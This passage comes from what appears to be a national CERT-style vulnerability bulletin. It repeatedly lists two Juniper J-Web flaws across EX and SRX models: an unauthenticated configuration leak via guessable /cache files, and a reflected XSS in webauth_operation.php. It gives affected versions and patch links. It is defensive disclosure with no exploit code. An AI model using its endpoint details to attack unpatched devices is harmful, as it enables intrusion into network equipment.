			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://support portal.juniper.net/JSA76390	H-JUN-EX92-090224/1694

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex_redundant_power_system					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX_R-090224/1695

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX_R-090224/1696

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex_rps					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX_R-090224/1697

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX_R-090224/1698

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx100					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://supportportal.juniper.net/JSA76390	H-JUN-SRX1-090224/1699

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-SRX1-090224/1700

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx110					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-SRX1-090224/1701

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-SRX1-090224/1702

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: srx1400					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX1-090224/1703

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-SRX1-090224/1704

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx1500					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-SRX1-090224/1705

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://supportportal.juniper.net/JSA76390	H-JUN-SRX1-090224/1706

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx1600					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-SRX1-090224/1707

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-SRX1-090224/1708

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx210					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://supportportal.juniper.net/JSA76390	H-JUN-SRX2-090224/1709

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX2-090224/1710

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: srx220					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://supportportal.juniper.net/JSA76390	H-JUN-SRX2-090224/1711

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1712

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx2300					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1713

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.n et/JSA76390	H-JUN-SRX2-090224/1714

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx240					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1715

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1716

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx240h2					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-SRX2-090224/1717

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-SRX2-090224/1718

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx240m					
Affected Version(s): -					
